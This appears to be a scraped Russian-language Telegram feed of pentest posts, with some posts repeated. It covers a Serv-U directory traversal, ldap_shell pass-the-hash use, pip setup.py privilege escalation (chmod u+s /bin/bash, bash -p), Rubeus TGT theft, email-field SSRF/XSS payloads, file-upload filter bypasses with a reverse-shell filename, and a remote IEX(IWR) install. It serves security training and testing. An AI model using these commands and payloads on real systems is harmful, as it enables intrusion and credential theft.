Serv-U [v.15.3.0.X] Directory-Traversal
CVE-2021-35250
Уязвимость позволяет удаленному пользователю выполнить атаку Directory Traversal, отправив специально созданный HTTP запрос и прочитав произвольные файлы в системе. Чтение файлов возможно только на диске
Известно 3 варианта того, какие файлы и как может читать злоумышленник:
1. Файлы Windows по умолчанию. Пример: "
2. Обнаружение файлов с помощью брутфорса;
3. Определение путей к файлам в файлах Windows по умолчанию или используемого программного обеспечения на сервере.
CVE-2021-35250
Уязвимость позволяет удаленному пользователю выполнить атаку Directory Traversal, отправив специально созданный HTTP запрос и прочитав произвольные файлы в системе. Чтение файлов возможно только на диске
C:\, злоумышленник может получить информацию о файловом сервере, только зная путь к файлам. Известно 3 варианта того, какие файлы и как может читать злоумышленник:
1. Файлы Windows по умолчанию. Пример: "
C:\Windows\win.ini";2. Обнаружение файлов с помощью брутфорса;
3. Определение путей к файлам в файлах Windows по умолчанию или используемого программного обеспечения на сервере.
🔥5
LDAP shell
Этот проект является форком проекта ldap_shell - impacket.
Подготовка:
ldap_shell.py
Этот проект является форком проекта ldap_shell - impacket.
Подготовка:
sudo apt install -y python3
Установка:git clone https://github.com/z-Riocool/ldap_shell.git ;cd ldap_shell ; python3 -m pip install .
Пример использования:ldap_shell.py
domain.local/user:password
ldap_shell domain.local/user:password -dc-ip 192.168.1.2
ldap_shell domain.local/user -hashes aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404e1
export KRB5CCNAME=/home/user/ticket.ccache
ldap_shell -k -no-pass domain.local/user
#tools22 апреля пройдет task-based КибХак CTF совместно с mireaCTF (Potee) в режиме онлайн.
👻 За призовые места вы сможете получить фирменные стикеры КибХак и ценные денежные призы. В том числе по результатам соревнований будут вручены проходки на предстоящую конференцию Positive Hack Days 12. А также, возможно, одна из команд сможет пойти на пхд и посоревноваться там 😊
Правила те же, что и всегда: команды решают задания по информационной безопасности и получают «флаги», за которые начисляются баллы.
❗️ Начало в 18:00
👨💻 Длительность 18 часов до 12:00 воскресенья
Будут представлены задачи следующих категорий:
crypto, forensics, misc, osint, reverse, stego, web
В каждой команде должно быть не более 5-ти человек
Вся информация будет в канале mireaCTF:
https://t.me/mireactf
И в беседах КибХак и mireaCTF:
https://t.me/+TS7yGrOwxSJZP8Q3
https://t.me/+SFTJE5BHTJ0PoHq4
Регистрация уже доступна на:
https://ctf.potee.ru
👻 За призовые места вы сможете получить фирменные стикеры КибХак и ценные денежные призы. В том числе по результатам соревнований будут вручены проходки на предстоящую конференцию Positive Hack Days 12. А также, возможно, одна из команд сможет пойти на пхд и посоревноваться там 😊
Правила те же, что и всегда: команды решают задания по информационной безопасности и получают «флаги», за которые начисляются баллы.
❗️ Начало в 18:00
👨💻 Длительность 18 часов до 12:00 воскресенья
Будут представлены задачи следующих категорий:
crypto, forensics, misc, osint, reverse, stego, web
В каждой команде должно быть не более 5-ти человек
Вся информация будет в канале mireaCTF:
https://t.me/mireactf
И в беседах КибХак и mireaCTF:
https://t.me/+TS7yGrOwxSJZP8Q3
https://t.me/+SFTJE5BHTJ0PoHq4
Регистрация уже доступна на:
https://ctf.potee.ru
🔥2🐳1🗿1
Forwarded from RedTeam brazzers (Миша)
Injector.png
1.1 MB
Итак, продолжаем заниматься импортозамещением учиться быть настоящим Red Team'ом и не использовать mimikatz! Недавно у меня вышла статья по инжекту тикетов с помощью плюсовой программы. Но потом мы вспоминаем об антивирусах и становится не так весело. Каждый раз брать проект, добавлять защиту, перекомпиливать... не вариант.
Поэтому появилась идея создания инжектора билетов на Powershell. Во-первых, это удобно, во-вторых, защищать и обфусцировать намного быстрее. Есть как готовые фреймворки , так и статьи с инструкциями.
Результатом работы стал небольшой скрипт, который должен помочь атакующему во время тестирования на проникновение. Теперь вы можете инжектить тикеты, используя Powershell! Поддерживаются два режима работы:
1. Инжект тикета, предоставленного в файле .kirbi
2. Инжект тикета, предоставленного в формате base64
Полный код можно увидеть на моем гитхабе
По любым вопросам, болячкам и возможным недочетам тулзы смело пишите мне :)
Поэтому появилась идея создания инжектора билетов на Powershell. Во-первых, это удобно, во-вторых, защищать и обфусцировать намного быстрее. Есть как готовые фреймворки , так и статьи с инструкциями.
Результатом работы стал небольшой скрипт, который должен помочь атакующему во время тестирования на проникновение. Теперь вы можете инжектить тикеты, используя Powershell! Поддерживаются два режима работы:
1. Инжект тикета, предоставленного в файле .kirbi
2. Инжект тикета, предоставленного в формате base64
Полный код можно увидеть на моем гитхабе
По любым вопросам, болячкам и возможным недочетам тулзы смело пишите мне :)
Forwarded from Monkey Hacker
Privilege Escalation via pip
Всеми наш любимый
После того, как мы сделали
Сначала скопируем нужный нам репозиторий
Затем давайте сделаем некоторые изменения в файле
Собираем
И скачиваем наш пакет
И теперь запустим шелл
Have fun👍
P.S
Полный код в комментариях
THX:
Всеми наш любимый
pip позволяет автоматически запускать код, когда разработчики просто загружают пакет. Таким образом мы можем скачать пакет и использовать эту возможность для повышения привилегийПосле того, как мы сделали
sudo -l. Мы видим, что pip download или pip setup можно запустить от sudo, так что давайте этим воспользуемся.Сначала скопируем нужный нам репозиторий
Затем давайте сделаем некоторые изменения в файле
setup.py. Импортируем os для запуска наших команд и в функции RunCommand поместим os.system("chmod u+s /bin/bash").Собираем
python3 -m buildИ скачиваем наш пакет
sudo pip3 download http://localhost/your-file.tar.gzИ теперь запустим шелл
bash -pHave fun
P.S
Полный код в комментариях
THX:
https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - wunderwuzzi23/this_is_fine_wuzzi: Demo of a malicious python package that will run code upon pip download or install
Demo of a malicious python package that will run code upon pip download or install - wunderwuzzi23/this_is_fine_wuzzi
❤3🐳1
Atomic Red Team
Всем привет! Извиняюсь, что давно не делал посты, загружен всем подряд. Постараюсь исправиться)
Я думаю многие из нас знакомы с Atomic Red Team. Но если нет, то давайте кратко пройдемся. Это некая библиотека PowerShell скриптов основанная на MITRE. Данный фреймворк предназначен не только для красной команды, но и для защитников, которые желают проверить свои же средства защиты. Этот фреймворк является самым популярным и полным "чек-листом" для проверки ИБ вашей рабочей среды.
Atomic Red Team предназначен не только для Windows, но и Linux + MacOS. Так что вы можете протестировать всё что вам нужно)
Команда для импорта тестов:
Пример запуска тестов:
Для безумцев:
#tools
Всем привет! Извиняюсь, что давно не делал посты, загружен всем подряд. Постараюсь исправиться)
Я думаю многие из нас знакомы с Atomic Red Team. Но если нет, то давайте кратко пройдемся. Это некая библиотека PowerShell скриптов основанная на MITRE. Данный фреймворк предназначен не только для красной команды, но и для защитников, которые желают проверить свои же средства защиты. Этот фреймворк является самым популярным и полным "чек-листом" для проверки ИБ вашей рабочей среды.
Atomic Red Team предназначен не только для Windows, но и Linux + MacOS. Так что вы можете протестировать всё что вам нужно)
Команда для импорта тестов:
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing); Install-AtomicRedTeam
Далее советую вам обратиться к этой и этой странице документации. Вы можете загрузить все тесты, но лучше конечно под конкретную операционную систему) Пример запуска тестов:
Invoke-AtomicTest T1003.003 - просто запуск теста или группы тестовInvoke-AtomicTest T1003.003 -TestNumbers 1,2 - вы выбрали только 1 и 2 тесты из группыInvoke-AtomicTest T1003.003 -ShowDetails - вы сможете прочитать подробную информацию о конкретном тесте/ахДля безумцев:
Invoke-AtomicTest All
Также советую вам посмотреть интересное видео от наших западных коллег об этом прекрасном инструменте)#tools
YouTube
How To Test Your Security with Atomic Red Team
https://jh.live/pwyc || Jump into Pay What You Can training for more free labs just like this! https://jh.live/pwyc
00:42 - Context
01:27 - Setup
02:57 - Begin
04:32 - Atomic Red Team Demo
05:49 - Starting Atomic Red Team
07:42 - Results
09:26…
00:42 - Context
01:27 - Setup
02:57 - Begin
04:32 - Atomic Red Team Demo
05:49 - Starting Atomic Red Team
07:42 - Results
09:26…
❤6👍1
Media is too big
VIEW IN TELEGRAM
🔴PentestGPT
Дада, снова речь про ChatGPT, но стой, не закрывай канал. В данном случае ChatGPT выступает именно в роли помощника в пентесте. Ты задаешь ей цель, она тебе расписывает шаги для пентеста. Далее вы сами выполняете сканирование, скидываете результаты обратно ChatGPT и она анализирует ваши результаты. Звучит довольно круто, не правда ли?)
Пока ещё проект находится на стадии разработки, но вы уже можете оценить результаты на гитхабе разработчика. К посту прикреплено видео с "демонстрацией силы" бота.
По установке в посте её будет сложно уместить, так что советую перейти к гитхаб и там изучить её досконально.
#chatgpt #tools
Дада, снова речь про ChatGPT, но стой, не закрывай канал. В данном случае ChatGPT выступает именно в роли помощника в пентесте. Ты задаешь ей цель, она тебе расписывает шаги для пентеста. Далее вы сами выполняете сканирование, скидываете результаты обратно ChatGPT и она анализирует ваши результаты. Звучит довольно круто, не правда ли?)
Пока ещё проект находится на стадии разработки, но вы уже можете оценить результаты на гитхабе разработчика. К посту прикреплено видео с "демонстрацией силы" бота.
По установке в посте её будет сложно уместить, так что советую перейти к гитхаб и там изучить её досконально.
#chatgpt #tools
❤6🔥1
Цены на TryHackMe повысятся в октябре этого года
Сейчас:
10$ ≈ 800 рублей
Будет:
14$ ≈ 1120 рублей
При курсе:
1$ = 80.14 рублей
Дневник Безопасника 🛡️
Сейчас:
10$ ≈ 800 рублей
Будет:
14$ ≈ 1120 рублей
При курсе:
1$ = 80.14 рублей
Дневник Безопасника 🛡️
Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок
Ты сидишь за клавиатурой на одном из верхних этажей охраняемого здания, расположенного посреди закрытой территории в окружении забора с колючей проволокой под напряжением. Ты чувствуешь себя в полной безопасности — за ней следят не только камеры, но и бдительная охрана. За окном раздается подозрительное жужжание, ты отвлекаешься на непонятный источник звука, и этих нескольких секунд достаточно, чтобы на твой компьютер установился бэкдор, а хакер, расположенный в 20 км от тебя, проник в корпоративную сеть. Фантастика? Ничего подобного!
#дроны
Ты сидишь за клавиатурой на одном из верхних этажей охраняемого здания, расположенного посреди закрытой территории в окружении забора с колючей проволокой под напряжением. Ты чувствуешь себя в полной безопасности — за ней следят не только камеры, но и бдительная охрана. За окном раздается подозрительное жужжание, ты отвлекаешься на непонятный источник звука, и этих нескольких секунд достаточно, чтобы на твой компьютер установился бэкдор, а хакер, расположенный в 20 км от тебя, проник в корпоративную сеть. Фантастика? Ничего подобного!
#дроны
❤🔥3
Программирование. Кибербезопасность + Golang = ❤️
Всем привет! Подготовил для вас материал по топу библиотек на Golang, которые необходимы вам при безопасной разработке приложений. Топ будет составлен лично по моему мнению, а я не являюсь сеньором-помидором Go разработчиком, так что не кидайтесь гнилыми тапками.
#моя_статья
Всем привет! Подготовил для вас материал по топу библиотек на Golang, которые необходимы вам при безопасной разработке приложений. Топ будет составлен лично по моему мнению, а я не являюсь сеньором-помидором Go разработчиком, так что не кидайтесь гнилыми тапками.
#моя_статья
❤3
Forwarded from RedTeam brazzers (Миша)
🔥 TGT Delegation Attack
TL;DR
Получить TGT пользователя, от лица которого у нас шелл:
Rubeus tgtdeleg /nowrap
kekeo tgt::deleg
Принцип работы:
Одна из самых интересных атак, в ходе которой у атакующего появляется возможность получения TGT-билета пользователя, просто имея лишь шелл от его лица. Сама атака основана на том, что запрос AP-REQ, содержащий TGT билет, передается в пользовательский контекст. Билет TGT будет содержаться в AP-REQ по той причине, что мы обращаемся к службе с неограниченным делегированием. А службе с неограниченным делегированием он нужен потому, что она служба с неограниченным делегированием :) Благодаря этому TGT служба сможет олицетворять клиента. AP-REQ шифруется на сессионном ключе, который клиент получает в запросе TGS-REP. Этот сессионный ключ необходим для безопасной и зашифрованной связи с целевой службой. Этот сессионный ключ после получения будет находиться в памяти процесса lsass (точнее, внутри пакета аутентификации Kerberos), поэтому мы можем легко взять этот ключ, а затем использовать его для расшифровки AP-REQ. А из AP-REQ не составит проблем извлечь TGT текущего пользователя. Эта атака может быть выполнена даже от лица низкопривилегированной учетной записи.
Вопреки распространенному мнению, хочу отметить, что в ходе атаки все равно будет присутствовать взаимодействие с LSA. Так как именно из LSA мы сможем получить сессионный ключ для декрипта AP-REQ.
Но где же взять службу с неограниченным делегированием? По умолчанию все контроллеры домена настроены на неограниченное делегирование.
Особенности написания собственного инструментария:
Во-первых, я принял решение о том, что следовало бы добавить два различных режима работы:
- С указанием SPN целевой службы
- С указанием домена (автоматический поиск службы с неограниченным делегированием)
Но почему же инструмент выводит только сессионный ключ и AP-REQ? А где TGT?
Проблема в том, что kekeo и Rubeus используют неописанный криптоинтерфейс Windows (
- https://github.dev/gentilkiwi/kekeo/blob/de98fa66790d8d3ed37a43879d7213ea218a2ed6/kekeo/modules/kuhl_m_tgt.c#L510
- https://github.dev/gentilkiwi/kekeo/blob/d3ee2ae2fdeb5581fe2be1d53838f66729c3de16/modules/asn1/kull_m_kerberos_asn1_crypto.c#L86
- https://github.dev/GhostPack/Rubeus/blob/dd5472f5af3ee71a99eed2f890e4edb7b80ebf18/Rubeus/lib/Crypto.cs#l123
А вот описание этой функции в гугле:
- https://imgur.com/a/wKGRv4k
Но не стоит отчаиваться. Мы можем просто взять сессионный ключ и AP-REQ, а расшифровку провести просто на машине атакующего, что будет, конечно, чуточку медленнее, но зато наш инструментарий останется более чистым, незаметным и легитимным.
В дальнейшем с полученным TGT можно постоянно обновлять тикет через
Возможно ты захочешь отдать тикет в
- https://imgur.com/a/2WyAuLg
TL;DR
Получить TGT пользователя, от лица которого у нас шелл:
Rubeus tgtdeleg /nowrap
kekeo tgt::deleg
Принцип работы:
Одна из самых интересных атак, в ходе которой у атакующего появляется возможность получения TGT-билета пользователя, просто имея лишь шелл от его лица. Сама атака основана на том, что запрос AP-REQ, содержащий TGT билет, передается в пользовательский контекст. Билет TGT будет содержаться в AP-REQ по той причине, что мы обращаемся к службе с неограниченным делегированием. А службе с неограниченным делегированием он нужен потому, что она служба с неограниченным делегированием :) Благодаря этому TGT служба сможет олицетворять клиента. AP-REQ шифруется на сессионном ключе, который клиент получает в запросе TGS-REP. Этот сессионный ключ необходим для безопасной и зашифрованной связи с целевой службой. Этот сессионный ключ после получения будет находиться в памяти процесса lsass (точнее, внутри пакета аутентификации Kerberos), поэтому мы можем легко взять этот ключ, а затем использовать его для расшифровки AP-REQ. А из AP-REQ не составит проблем извлечь TGT текущего пользователя. Эта атака может быть выполнена даже от лица низкопривилегированной учетной записи.
Вопреки распространенному мнению, хочу отметить, что в ходе атаки все равно будет присутствовать взаимодействие с LSA. Так как именно из LSA мы сможем получить сессионный ключ для декрипта AP-REQ.
Но где же взять службу с неограниченным делегированием? По умолчанию все контроллеры домена настроены на неограниченное делегирование.
Особенности написания собственного инструментария:
Во-первых, я принял решение о том, что следовало бы добавить два различных режима работы:
- С указанием SPN целевой службы
- С указанием домена (автоматический поиск службы с неограниченным делегированием)
Но почему же инструмент выводит только сессионный ключ и AP-REQ? А где TGT?
Проблема в том, что kekeo и Rubeus используют неописанный криптоинтерфейс Windows (
CDLocateCSystem()) для расшифровки AP-REQ. А использование этого криптоинтерфейса обычными программами очень редко, поэтому почти все EDR сразу пометят наш инструмент как вредоносный. Вот фрагменты кода, в которых эта функция вызывается:- https://github.dev/gentilkiwi/kekeo/blob/de98fa66790d8d3ed37a43879d7213ea218a2ed6/kekeo/modules/kuhl_m_tgt.c#L510
- https://github.dev/gentilkiwi/kekeo/blob/d3ee2ae2fdeb5581fe2be1d53838f66729c3de16/modules/asn1/kull_m_kerberos_asn1_crypto.c#L86
- https://github.dev/GhostPack/Rubeus/blob/dd5472f5af3ee71a99eed2f890e4edb7b80ebf18/Rubeus/lib/Crypto.cs#l123
А вот описание этой функции в гугле:
- https://imgur.com/a/wKGRv4k
Но не стоит отчаиваться. Мы можем просто взять сессионный ключ и AP-REQ, а расшифровку провести просто на машине атакующего, что будет, конечно, чуточку медленнее, но зато наш инструментарий останется более чистым, незаметным и легитимным.
В дальнейшем с полученным TGT можно постоянно обновлять тикет через
Rubeus renew .Возможно ты захочешь отдать тикет в
rubeus changepw , но это, пока по неизвестным для меня причинам, не увенчается успехом:- https://imgur.com/a/2WyAuLg
🎉3
Forwarded from Что-то на пентестерском
Атаки на механизм E-mail ⛈
Сегодня помог друзьям их сайт пентестить и нашел blind ssrf, xss, обычный ssrf в одной email форме
И хочу поделится как находить такое, т.к. часто в вебе есть форма email
➡️ Мыло имеет свою валидацию
Примеры как можно писать:
🟢 keklol@"payload"test.com
🟢 keklol@test.com(payload)
🟢 keklol(payload)@test.com
🟢 keklol@[payload]
🟢 keklol@(payload)test.com
🟢 "payload"@test.com
➡️ Валидность можно проверить тута
🟢 Blind SSRF: keklol@сюда ссылку барп коллабратора
🟢 SSRF: keklol@[127.0.0.1]
🟢 XSS: keklol@test(<script>alert(0)</script>).com
➡️ Нет Burp Collabrator'a 🤬
Аналоги:
🟢 https://canarytokens.org
🟢 https://webhook.site
🟢 https://app.interactsh.com
🟢 https://hookdeck.com
📌 Больше техник и уязвимостей с механизмом мыла можно глянуть в этой презентации от баунти-хантера ссылка
И в видосе ссылка
ЧТНП | #web
Сегодня помог друзьям их сайт пентестить и нашел blind ssrf, xss, обычный ssrf в одной email форме
И хочу поделится как находить такое, т.к. часто в вебе есть форма email
Примеры как можно писать:
Аналоги:
И в видосе ссылка
ЧТНП | #web
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5🐳1
Forwarded from Just Security
Уязвимости в функциях загрузки файлов очень распространены.
При проведении анализа защищенности веб-приложений, важно знать, как обойти ограничения, так как это часто приводит к полной компрометации системы. А для разработчиков и инженеров полезно знать, как такие атаки происходят, чтобы корректно реализовать механизмы защиты.
Минимальный набор проверок File Upload:
→ Попробуйте различные расширения файлов: используйте разные варианты расширений файлов, например, php3, php4, php5, phtml для PHP-скриптов, asp, aspx и ashx для IIS. Список можно взять тут: https://github.com/danielmiessler/SecLists
→ Добавьте дополнительное расширение файла: если приложение не проверяет правильность расширения файла — добавьте еще одно расширение, например, из script.php в script.gif.php
→ Неправильная реализация Regex: например, некорректное регулярное выражение
→ Измените регистр расширения: попробуйте разные комбинации строчных и прописных букв, например, pHp, PhP, phP, Php и т.д.
→ Приложение позволяет загружать файлы .svg?: SVG изображения — это просто данные XML. Используя XML, можно, например, добиться XSS.
→ Измените тип контента: при перехвате запроса с помощью Burp Suite, тип контента можно изменить, например, с
→ Попробуйте использовать исполняемые расширения: могут быть разрешены определенные исполняемые расширения, например
→ Добавьте нулевой байт в имя файла: если сайт использует белые списки расширений файлов, их часто можно обойти, добавив
→ Вставьте данные EXIF: исполняемый скрипт может быть вставлен в изображение в форме метаданных комментария, который затем будет выполнен, если веб-сервер обрабатывают эти данные.
→ Попробуйте использовать обозначение Windows 8.3 для имени файла: можно использовать короткую версию имени файла Windows 8.3. Например,
→ Обход каталога: попробуйте использовать вместо имени файла
Полезные ссылки:
- Перезапись файла конфигурации сервера
- Обфускация расширений файлов
- Race condition при загрузке файлов
- Небезопасная десериализация, ведущая к полному захвату сервера
- OWASP Unrestricted File Upload
Накидывайте еще способы обхода и полезные ссылки по теме в комментарии!
При проведении анализа защищенности веб-приложений, важно знать, как обойти ограничения, так как это часто приводит к полной компрометации системы. А для разработчиков и инженеров полезно знать, как такие атаки происходят, чтобы корректно реализовать механизмы защиты.
Минимальный набор проверок File Upload:
→ Попробуйте различные расширения файлов: используйте разные варианты расширений файлов, например, php3, php4, php5, phtml для PHP-скриптов, asp, aspx и ashx для IIS. Список можно взять тут: https://github.com/danielmiessler/SecLists
→ Добавьте дополнительное расширение файла: если приложение не проверяет правильность расширения файла — добавьте еще одно расширение, например, из script.php в script.gif.php
→ Неправильная реализация Regex: например, некорректное регулярное выражение
".png|.jpeg" можно обойти с помощью следующей нагрузки bypasspng.php.→ Измените регистр расширения: попробуйте разные комбинации строчных и прописных букв, например, pHp, PhP, phP, Php и т.д.
→ Приложение позволяет загружать файлы .svg?: SVG изображения — это просто данные XML. Используя XML, можно, например, добиться XSS.
→ Измените тип контента: при перехвате запроса с помощью Burp Suite, тип контента можно изменить, например, с
"Content-type: application/x-php" на "Content-type: image/gif"
→ Добавьте magic байт в файл: магические байты служат подписями, которые используются веб-сервером для определения типа загружаемого файла. Например, добавив GIF87a в начало скрипта, сервер будет считать его файлом GIF. Например : Filename='1.php' , filetype: image/gif и начните содержимое файла с GIF29a
→ Попробуйте уменьшить размер файла: если используется ограничение размера файла, можно загрузить меньший скрипт для удаленного выполнения кода.→ Попробуйте использовать исполняемые расширения: могут быть разрешены определенные исполняемые расширения, например
.phtml, .shtml, .asa, .cer, .asax, .swf, или .xap.→ Добавьте нулевой байт в имя файла: если сайт использует белые списки расширений файлов, их часто можно обойти, добавив
%00 (HTML) или \x00 (hex) в конец имени файла. Например: php-reverse-shell.php%00.gif
→ Добавьте специальные символы перед расширением файла: на старых веб-серверах, добавление специальных символов, таких как ;%$&, сразу после имени файла, например, shell;.php, может помочь обойти белые списки расширений файлов.→ Вставьте данные EXIF: исполняемый скрипт может быть вставлен в изображение в форме метаданных комментария, который затем будет выполнен, если веб-сервер обрабатывают эти данные.
→ Попробуйте использовать обозначение Windows 8.3 для имени файла: можно использовать короткую версию имени файла Windows 8.3. Например,
shell.aspx станет SHELL~1.ASP
→ Попробуйте добавить нейтральные символы после имени файла: специальные символы, такие как пробелы или точки в Windows, или точки и слэши в Linux в конце имени файла, будут автоматически удалены (например, shell.aspx … … . . .. .., file.asp.).→ Обход каталога: попробуйте использовать вместо имени файла
../../../../etc/passwd и подобные, возможно, вы наткнетесь на новую уязвимостьПолезные ссылки:
- Перезапись файла конфигурации сервера
- Обфускация расширений файлов
- Race condition при загрузке файлов
- Небезопасная десериализация, ведущая к полному захвату сервера
- OWASP Unrestricted File Upload
Накидывайте еще способы обхода и полезные ссылки по теме в комментарии!